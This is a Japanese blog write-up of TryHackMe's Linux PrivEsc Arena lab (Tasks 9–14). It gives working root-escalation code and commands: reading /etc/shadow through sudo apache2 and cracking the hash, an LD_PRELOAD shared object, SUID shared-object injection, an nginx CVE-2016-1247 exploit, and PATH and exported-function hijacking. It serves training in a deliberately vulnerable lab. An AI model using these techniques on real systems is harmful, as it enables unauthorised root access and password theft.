こんにちは、ぎんたです。
今回はTryHackMeで提供されている「Linux PrivEsc Arena」というルームの攻略の過程を記事にしています。
ルームはこちらからアクセスできます「Linux PrivEsc ArenaのURL」。
今回の記事は「脆弱性を持つLinuxの権限昇格手法を学ぶ【TryHackMe-Linux PrivEsc Arena -Writeup1/3】」の続編となっています。
前回はTaskの8まで解説しました。
今回ご紹介するTaskは以下のものです。
- Task9 意図した機能の悪用
- Task10 LD_PRELOAD
- Task11 共有オブジェクトのインジェクション
- Task12 Symlinks
- Task13 環境変数その1
- Task14 環境変数その2
- Linuxの権限昇格に興味のある方
- CTFに興味のある方
が今回の対象です。
無料でアクセス可能なので、試してみたい方はぜひやってみてください。
スポンサーリンク
前提条件の説明
Linuxの権限昇格がテーマとなっているため、すでにユーザ権限で被害サーバに侵入している状態となっています(ユーザの認証情報が判明している)。
侵入先のサーバを探索して設定の不備や脆弱性などを調査し、それぞれのTaskごとで実際に権限昇格をしていく方法を解説していきます。
Linuxの権限昇格(Task9 意図した機能の悪用)
rootで実行できるコマンドを以下のコマンドを使って調査します。
sudo -l
apache2がリストにあるのを確認しました。
sudoをパスワード無しで実行可能なので、root権限でapache2のコマンドを実行できます。
apache2を実行し、権限昇格ができるかどうかを考えます。
そこで「apache2 -h」を実行しapache2のヘルプ画面を確認すると、-fの部分にこのように書かれています。
-f file specify an alternate ServerConfigFile
サーバのコンフィグファイルを指定して実行できるようです。
この機能を利用し、-fを使用してユーザのパスワードハッシュが記載されている「/etc/shadow」を読み取ることを試みます。
通常shadowファイルはrootだけが読み込み可能なので、sudoとあわせて実行します。
「/etc/shadow」ファイルを一部表示させることに成功し、rootのハッシュを確認できました。
攻撃側の端末に、判明したrootのハッシュをコピーします。
echo ‘rootのハッシュが記載された部分’ > hash.txt
コピーできたら攻撃側の端末で「john the ripper」を実行し、パスワードクラックを試みます。
使用する辞書ファイルはAttackBoxにすでにある「rockyou.txt」を使用しました。
rootのパスワードが判明しました。
このTaskではrootのパスワードを解析して終了となります。
Linuxの権限昇格(Task10 LD_PRELOAD)
このタスクでは、LD_PRELOADを利用した権限昇格を行います。
先ほどのタスクと同様に「sudo -l」を実行します。
env_keepオプションの箇所を確認すると、LD_PRELOADとなっています。
sudoはユーザの環境変数から特定の環境変数を継承するように設定できます。
このときに継承される環境変数がLD_PRELOADに設定されているため、sudoを用いて実行するプログラムで、作成した共有オブジェクトをロードすることができます。
LD_PRELOADを用いて権限昇格を試みます。
エディタを開き次のコードを入力します。
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv(“LD_PRELOAD”);
setgid(0);
setuid(0);
system(“/bin/bash”);
}
「/bin/bash」を起動するプログラムとなります。
「/tmp/x.c」というファイル名で保存した後、gccでコンパイルし、共有オブジェクトを作成します。
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
sudoを使ってroot権限でapache2を実行します。
作成した共有オブジェクトを事前に読み込みrootのシェルが起動しました。
権限昇格が完了しました。
1 Linuxの権限昇格(Task11共有オブジェクトのインジェクション)
このタスクでは、共有オブジェクトインジェクションの脆弱性を利用します。
まず、findコマンドを実行し、SUIDが付与されているファイルを探します。
find / -type f -perm -04000 -ls 2>/dev/null
- -type f ファイルを調査
- -perm -04000 SUIDが付与されたファイルを調査
- -ls 条件に合致するファイルを列挙
- 2>/dev/null エラーを表示させない
「/usr/local/bin/suid-so」ファイルを調査してみます。
SUIDが付与され、所有者がrootになっていますので、root権限で動作するファイルです。
straceコマンドを実行し、open/accessの呼び出しと「no such file」エラーの有無を調査します。
strace /usr/local/bin/suid-so 2>&1 | grep -i -E “open|access|no such file”
TCM@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -i -E “open|access|no such file”
access(“/etc/suid-debug”, F_OK) = -1 ENOENT (No such file or directory)
access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
access(“/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
open(“/etc/ld.so.cache”, O_RDONLY) = 3
access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
open(“/lib/libdl.so.2”, O_RDONLY) = 3
access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
open(“/usr/lib/libstdc++.so.6”, O_RDONLY) = 3
access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
open(“/lib/libm.so.6”, O_RDONLY) = 3
access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
open(“/lib/libgcc_s.so.1”, O_RDONLY) = 3
access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
open(“/lib/libc.so.6”, O_RDONLY) = 3
open(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)
最後の行で「/home/user/.config/libcalc.so」という共有オブジェクトが見つからないというエラーが出ています。
そこで、こちらが作成した共有オブジェクトを上記のパス上に配置し、権限昇格を試みます。
幸い「.config」フォルダは存在しておらず、userフォルダは書込み可能なので上記の共有オブジェクトを作成できそう。
まず、「/home/user/.config」のフォルダを作成し、作成したディレクトリに移動します。
mkdir /home/user/.config
cd /home/user/.config
次のコードを入力し、libcalc.cとして保存します。
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system(“cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p”);
}
「/bin/bash」を「/tmp/bash」にコピーし、SUIDを設定後に同ファイルを実行するプログラムです。
次のコマンドを入力し、共有オブジェクトとしてコンパイルします。
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
「/usr/local/bin/suid-so」を実行すると、作成した共有オブジェクトを読み込みrootのシェルを取得し、権限昇格が完了しました。
Linuxの権限昇格(Task12 Symlinks)
このタスクでは、Debian および Ubuntu 上で稼動する nginx パッケージにおける root 権限を取得される脆弱性(CVE-2016-1247)を利用して権限昇格を行います。
この脆弱性により影響を受けるシステム・想定される影響についてJVN iPediaのページにこのように記載されています。
影響を受けるシステム
Igor Sysoev
nginx 1.6.2-5+deb8u3 未満 (Debian jessie)
nginx 1.4.6-1ubuntu3.6 未満 (Ubuntu 14.04 LTS)
nginx 1.10.0-0ubuntu0.16.04.3 未満 (Ubuntu 16.04 LTS)
nginx 1.10.1-0ubuntu1.1 未満 (Ubuntu 16.10)
想定される影響
Web サーバのユーザアカウントへのアクセス権を持つローカルユーザにより、エラーログへのシンボリックリンク攻撃を介して、root 権限を取得される可能性があります。
出典:JVN iPedia
まず、以下の「dpkg -l」コマンドでnginxに関する情報を取得します。
TCM@debian:~$ dpkg -l | grep nginx
ii nginx-common 1.6.2-5+deb8u2~bpo70+1 small, powerful, scalable web/proxy server – common files
ii nginx-full 1.6.2-5+deb8u2~bpo70+1 nginx web/proxy server (standard version)
nginxのバージョン情報を確認できます。
先ほどのJVNのページから、nginx 1.6.2-5+deb8u3 未満のバージョンなので冒頭で説明した脆弱性の影響を受けそうです。
この脆弱性を利用したexploitコードがサーバの以下の場所にありました。
/home/user/tools/nginx/nginxed-root.sh
このexploitコードを確認すると、実行するのにwww-dataユーザになる必要がありそうなことが分かりました。
www-dataに切り替えた後、以下のコマンドを実行します。
/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log
実行した結果、rootのシェルを取得できました。
Linuxの権限昇格(Task13 環境変数その1)
このタスクでは、プログラムのパスを絶対パスで記載していないことにより、ユーザのPATH環境変数の設定を変更することで権限昇格される事例を扱っています。
まずTask12と同様に、findコマンドでSUIDが付与されたファイルを列挙したところ、「/usr/local/bin/suid-env」というファイルが見つかりました。
816762 8 -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
stringsコマンドを実行し、ファイルで使われている文字列を確認します。
ローカルのWebサーバを起動しようとするプログラムのようです。
ただし、serviceコマンド使用時に「/usr/sbin/service」のように絶対パスでの指定はしておりません。
そこで、別のserviceという名前の実行ファイルを作成し、環境変数の設定を変更することで権限昇格をしていきたいと思います。
次のコマンドを実行し、プログラムを「/tmp/service.c」に保存します。
echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash”); return 0; }’ > /tmp/service.c
ここでは、Bashシェルを起動するプログラムを作成しています。
gccコマンドでコンパイルします。
gcc /tmp/service.c -o /tmp/service
次に、環境変数の先頭に/tmpを追加し、パス指定なしのserviceコマンド実行時に「/tmp/service」が実行されるようにします。
export PATH=/tmp:$PATH
最後に「/usr/local/bin/suid-env」コマンドを実行することでrootシェルを取得できました。
こちらが準備した「/tmp/service」が実行されたようです。
Linuxの権限昇格(Task14 環境変数その2)
このタスクでは、実際の実行ファイルを事前に定義した同じ名前の関数でエクスポートして実行させる手法で権限昇格を行います。
今回の方法はBashのバージョン<4.2-048で実行することが可能です。
少しイメージが湧かないと思いますので順を追って解説します。
Task13と同様に、findコマンドでSUIDが付与されたファイルを列挙したところ、「/usr/local/bin/suid-env2」というファイルが見つかりました。
816764 8 -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
そこで、stringsコマンドを実行し、ファイルで使われている文字列を確認します。
Task13との違いは、service実行ファイルの箇所が絶対参照になっているところです。
絶対参照 /usr/sbin/service
相対参照 service
そこで、Bashのバージョンを確認し、冒頭で述べたことが行える条件が整っているかを確認します。
/bin/bash –version
4.2-048より前のバージョンなので、条件が整っています。
「/usr/sbin/service」という名前のBash関数を以下のコマンドで作成します。
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
この関数は「/bin/bash」ファイルを/tmpにコピーし、SUIDを付与した後に「/tmp/bash」を起動するものです。
次に、作成した関数をエクスポートします。
export -f /usr/sbin/service
「/usr/local/bin/suid-env2」を実行すると、作成した関数「/user/sbin/service()」が呼び出され、rootのシェルが起動しました。
まとめ
今回の記事は「脆弱性を持つLinuxの権限昇格手法を学ぶ【TryHackMe-Linux PrivEsc Arena -Writeup1/3】」の続編でした。
解説したTaskは6つあり、以下のものでした。
- Task9 意図した機能の悪用
- Task10 LD_PRELOAD
- Task11 共有オブジェクトのインジェクション
- Task12 Symlinks
- Task13 環境変数その1
- Task14 環境変数その2
残りのTaskは次回の記事で解説します。
長かったけど、次回で終わると思うと頑張れる
Linux権限昇格の関連記事を載せておくから合わせて確認してみてね。
今回の記事が参考になれば幸いです。
以上、ぎんたでした。
サイバーセキュリティを学ぶ上で必要な攻撃と解析に関する他の記事は、以下のリンクで確認できます。
学習に関しましては、以下のセキュリティの勉強法、おすすめの学習本・動画の記事が多くの方に読まれています。
資格の記事については以下の記事がおすすめです。
ITエンジニアへの転職については以下の記事がおすすめです。
その他学習・転職関連に関しましては、以下の記事もあわせて読まれています。
ぜひご覧ください!